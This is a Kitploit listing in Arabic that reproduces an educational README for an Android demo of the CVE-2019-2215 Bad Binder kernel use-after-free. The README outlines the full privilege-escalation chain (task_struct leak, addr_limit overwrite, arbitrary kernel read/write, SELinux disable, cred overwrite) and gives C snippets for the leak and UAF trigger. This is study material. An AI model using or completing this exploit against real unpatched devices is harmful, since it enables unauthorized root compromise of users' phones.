Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
android-badbinder-demo — عرض توضيحي لثغرة CVE-2019-2215 (Bad Binder) لنظام Android Q | Kitploit
أدوات/GitHubGitHub/i-redbyte/android-badbinder-demo
أمان أندرويدتصعيد الامتيازاتالاستغلالالتعلم والتعليماستغلال الملفات الثنائية
GitHubi-redbyte/android-badbinder-demo

android-badbinder-demo

عرض توضيحي لثغرة CVE-2019-2215 (Bad Binder) لنظام Android Q

عرض المستودع
5115منذ 10 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2019-2215 (Bad Binder) — تحليل الاستغلال

هذا المستودع مشروع اختباري صغير لدراسة الثغرة الأمنية
CVE-2019-2215 (Bad Binder) وكتابة نموذج أولي عملي للاستغلال على Android مع واجهة رسومية بسيطة باستخدام Kotlin/Jetpack Compose.

في ملف README سأقوم بـ:

  1. وصف تجهيز البيئة وتشغيل النموذج الأولي للاستغلال.
  2. تحليل المراحل الرئيسية لاستغلال CVE-2019-2215 ومطابقتها مع الدوال المحددة في كود C.
  3. سرد منفصل للصعوبات التي واجهتها في الطريق وكيف قمت بحلّها.

APK جاهز (GitHub Actions)

تم إعداد سير عمل GitHub Actions في المستودع، والذي يقوم عند كل push/PR ببناء المشروع بأمر ./gradlew assembleDebug وينشر ملف badbinder-debug.apk الجاهز كأثر (Artifact).

يمكنك تنزيله كالتالي:

  1. افتح تبويب Actions في المستودع.
  2. اختر تشغيل سير العمل المطلوب.
  3. في أسفل الصفحة ابحث عن قسم Artifacts واحصل على الأرشيف badbinder-debug-apk مع ملف APK المبني.

تم ذلك لتسهيل الأمر إذا أردت فقط اختبار التطبيق دون إعداد بيئة محلية.


نبذة مختصرة عن الثغرة

CVE-2019-2215 هي ثغرة Use-After-Free (UAF) في نظام IPC الخاص بـ Binder في نواة Android.

بشكل مبسّط:

  • توجد في النواة بنية struct binder_thread التي تصف الخيط الذي ينفّذ استدعاءات Binder؛
  • يمكن تحرير هذه البنية (free)، لكن مع تسلسل معين من الاستدعاءات تبقى موجودة في قوائم الانتظار (waitqueue)؛
  • لاحقًا تحاول النواة التعامل مع ذاكرة تم تحريرها بالفعل في remove_wait_queue، مما يفتح سيناريو UAF الكلاسيكي؛
  • إذا قمت باختيار البيئة والعمليات اللاحقة بعناية، يمكنك جعل النواة تقرأ/تكتب على عناوين عشوائية، ومن ثم الحصول على صلاحيات النواة، ومن ثم صلاحيات root في userspace.

لقد قمت بتحليل نظري أكثر تفصيلًا بالاعتماد على المواد التالية:

  1. https://cloudfuzz.github.io/android-kernel-exploitation/
  2. https://dayzerosec.com/blog/2019/11/07/analyzing-androids-cve-2019-2215-dev-binder-uaf.html
  3. https://hernan.de/blog/tailoring-cve-2019-2215-to-achieve-root/

1. تجهيز البيئة وتشغيل النموذج الأولي للاستغلال

1.1. اختيار وتجهيز الجهاز الافتراضي

وفقًا للمهمة، يُنصح باستخدام AVD مع صورة Android 10.0 (Q) x86_64.
قمتُ بالخطوات التالية:

  1. أنشأت AVD في Android Studio (جهاز Pixel، Android 10 (Q)، x86_64).
  2. تأكدت من أن الصورة تتضمن Binder ومن وجود الجهاز /dev/binder.
  3. فعّلت التصحيح عبر USB/ADB وتحققت من الوصول إلى الجهاز:
    adb shell
    ls -l /dev/binder
    

في هذه المرحلة واجهت حقيقة غير مريحة:
في الوقت الحالي صور AVD الحديثة تأتي بالفعل مع نواة مُصحّحة تكون فيها CVE-2019-2215 مغلقة. أي أنه لن يكون من الممكن فعليًا الحصول على root على المحاكي الرسمي الحديث — الاستغلال يفشل في مراحل متأخرة أو ببساطة لا يمنح رفع صلاحيات.

في النهاية، أستخدم AVD كـمدرّب لإعادة إنتاج منطق الاستغلال:

  • أحصل على نفس تسلسلات استدعاءات النظام،
  • وألاحظ محاولات UAF، وتسريب العناوين، ومحاولة إعادة كتابة addr_limit،
  • أما «الحصول على root» النهائي على نواة حديثة مُصحّحة، فبطبيعة الحال، لا يعمل (وهذا متوقّع).

هذه نقطة مهمة: كل الكود والتقرير أدناه — تعليمي، وليس «قتاليًا».


1.2. بناء تطبيق Android مع استغلال أصلي (Native)

قمت بإنشاء تطبيق Android صغير:

  • UI بـ Kotlin + Jetpack Compose،
  • الجزء الأصلي بلغة C عبر JNI — وهو كود الاستغلال نفسه،
  • التواصل بينهما يتم عبر استدعاء رجعي JNI، بحيث تنتقل السلاسل من كود C مباشرة إلى الواجهة.

الخطوات الرئيسية:

  1. أنشأت مشروعًا عاديًا في Android Studio (Kotlin، مع دعم أدنى لنظام Android 10).

  2. أضفت NDK وCMake.

  3. أضفت الملف الأصلي الخاص بالاستغلال (وهو ملف cve-2019-2215.c الذي يحتوي الدوال leak_task_struct, overwrite_addr_limit, وما إلى ذلك).

  4. أضفت في CMakeLists.txt بناء مكتبة libcve-2019-2215.so.

  5. في MainActivity:

    init {
        System.loadLibrary("cve-2019-2215")
    }
    
    external fun runNativeExploit(): String
    external fun setNativeLogger(logger: NativeLogger)
    
  6. على جانب Kotlin قمت بإنشاء ExploitViewModel، وهو ينفّذ الواجهة NativeLogger ويجمع جميع الرسائل في StateFlow<List<String>>. واجهة المستخدم مشتركة على هذا التدفق وتعرض السجل في «الطرفية».

عند بدء النشاط، أستدعي setNativeLogger(viewModel) حتى يتلقى الكود الأصلي كائنًا يمكن إرسال السلاسل إليه.


1.3. التشغيل وسيناريو الاستخدام

  1. أقوم ببناء التطبيق وتثبيته:

    ./gradlew installDebug
    
  2. أُشغّل AVD والتطبيق نفسه.

  3. أرى على الشاشة «الطرفية» وزر RUN EXPLOIT.

  4. عند الضغط:

    • يستدعي Kotlin الدالة runNativeExploit() في خيط خلفي.
    • يبدأ كود C بتنفيذ جميع مراحل الاستغلال وتسجيل الخطوات.
    • عبر الاستدعاء الرجعي JNI يصل السجل إلى ViewModel ويُعرض في واجهة Compose.

على نواة حقيقية قابلة للاستغلال، كنت أتوقع رؤية شيء مثل ما يلي في النهاية:

[+] Selinux changed: Permissive now.
[+] Root escalation successful!
uid=0(root)...

على محاكي Android 10 الحديث، هذا بالطبع لا يحدث، لكن كل شيء آخر — تسريب task_struct، محاولة إعادة كتابة addr_limit، حساب cred وkernel_base — يعمل كما لو كان «سيناريو»، وهذا هو المطلوب للمهمة.


2. تحليل المراحل الرئيسية للاستغلال ومطابقتها مع الكود

فيما يلي المخطط المنطقي للاستغلال مع الربط بالدوال C المحددة.

2.1. السيناريو العام للاستغلال

الخطة عالية المستوى هي:

  1. إنشاء UAF على كائن struct binder_thread واستخدامه من أجل تسريب عنوان task_struct للعملية الخاصة بك (leak_task_struct).
  2. عبر دورة UAF ثانية وبنى مختارة بعناية، إعادة كتابة حقل addr_limit في task_struct (overwrite_addr_limit) — وهذا يزيل القيد بين عناوين user-space وkernel-space لعمليات copy_to_user / copy_from_user اللاحقة.
  3. باستخدام الأنابيب (pipes)، تنفيذ قراءة/كتابة عشوائية لأي ذاكرة في النواة (arb_read / arb_write).
  4. من خلال ذلك، العثور على cred للعملية الحالية وقاعدة النواة (verifying)، ثم:
    • إيقاف تشغيل SELinux (selinux_enforcing = 0)،
    • إعادة كتابة حقول cred لتصبح root مع الحصول على كامل مجموعة capability (runNativeExploit).

بالتوازي، قمت بدمج مسجّل JNI بحيث تكون جميع هذه المراحل مرئية مباشرة في الواجهة.


2.2. المرحلة 1 — تسريب عنوان task_struct (leak_task_struct)

الدالة الرئيسية:

void leak_task_struct() {
    android_log("[*] Starting leak_task_struct...");

    cpu_set_t cpu_set;
    CPU_ZERO(&cpu_set);
    CPU_SET(0, &cpu_set);
    ret = sched_setaffinity(0, sizeof(cpu_set), &cpu_set);
    assert(ret >= 0);
    ...
}

ماذا تفعل الدالة:

  1. تثبّت الخيط على CPU 0 (sched_setaffinity) لجعل سلوك مُخصِّص الذاكرة في النواة أكثر قابلية للتنبؤ. وهذا يحسّن استقرار استغلال UAF.

  2. تفتح /dev/binder وتنشئ واصف epoll:

    fd = open("/dev/binder", O_RDONLY);
    epfd = epoll_create(1000);
    

    يتم تسجيل واصف Binder في epoll:

    epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event);
    
  3. تُجهّز مصفوفة struct iovec iov_buffers[IOVEC_N] وتُخصّص الذاكرة:

    spinner = mmap((void *)0x100000000, page_size, PROT_READ | PROT_WRITE,
                   MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    

    من المهم هنا أن تكون البتات السفلية البالغة 32 من العنوان أصفارًا:

    if (((long) spinner & 0xffffffff) != 0) {
        android_log("[!] mmap returned wrong address!");
        return;
    }
    

    يتوافق هذا مع التقنية الواردة في مقالات الاستغلال: لاحقًا تقوم النواة بتفسير جزء من بياناتنا كبنى تحتوي مؤشرات، وهذه العنونة «المحاذاة بشكل جميل» تسهّل إساءة الاستخدام.

    ثم يتم ملء الحقلين iov_buffers[0xa] وiov_buffers[0xb] بحيث تقوم النواة في لحظة UAF بنسخ جزء من الذاكرة إلى الأنبوب حيث يوجد المؤشر إلى task_struct.

  4. تُنشئ أنبوبًا وتضبط حجم مخزنه على 0x1000:

    int pipe_fd[2];
    ret = pipe(pipe_fd);
    fcntl(pipe_fd[1], F_SETPIPE_SZ, 0x1000);
    fcntl(pipe_fd[0], F_SETPIPE_SZ, 0x1000);
    
  5. بعد ذلك — سباق UAF الكلاسيكي. أقوم بتشغيل عملية فرعية:

    if (!fork()) {
        android_log("\t[C] Long sleep to ensure accuracy...");
        sleep(1);
    
        android_log("\t[*] Triggering UAF");
        epoll_ctl(epfd, EPOLL_CTL_DEL, fd, &event);
    
        android_log("\t[C] Removing useless data from pipe...");
        ret = read(pipe_fd[0], buf, 0x1000);
        ...
        _exit(0);
    }
    
تنزيل الأداة